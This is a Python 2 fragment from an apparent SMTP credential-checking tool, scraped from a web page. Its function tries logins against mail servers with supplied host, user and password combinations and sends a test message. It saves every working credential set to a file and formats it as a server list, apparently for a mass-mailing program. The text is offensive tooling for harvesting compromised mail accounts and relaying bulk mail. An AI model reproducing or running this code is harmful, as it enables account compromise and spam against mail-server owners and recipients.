def sendchk(listindex, host, user, password): # seperated function for checking
try:
smtp = smtplib.SMTP(host)
smtp.login(user, password)
code = smtp.ehlo()[0]
if not (200 <= code <= 299):
code = smtp.helo()[0]
if not (200 <= code <= 299):
raise SMTPHeloError(code, resp)
smtp.sendmail(fromaddr, toaddr, message)
print "\n\t[!] Email Sent Successfully:",host, user, password
print "\t[!] Message Sent Successfully\n"
LSstring = host+":"+user+":"+password+"\n"
nList.append(LSstring) # special list for AMS file ID's
LFile = open(output, "a")
LFile.write(LSstring) # save working host/usr/pass to file
LFile.close()
AMSout = open("AMSlist.txt", "a")
AMSout.write("[Server"+str(nList.index(LSstring))+"]\nName="+str(host)+"\nPort=25\nUserID=User\nBccSize=50\nUserName="+str(user)+"\nPassword="+str(password)+"\nAuthType=0\n\n")
smtp.quit()
except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg:
print "[-] Login Failed:", host, user, password
pass
评论列表
文章目录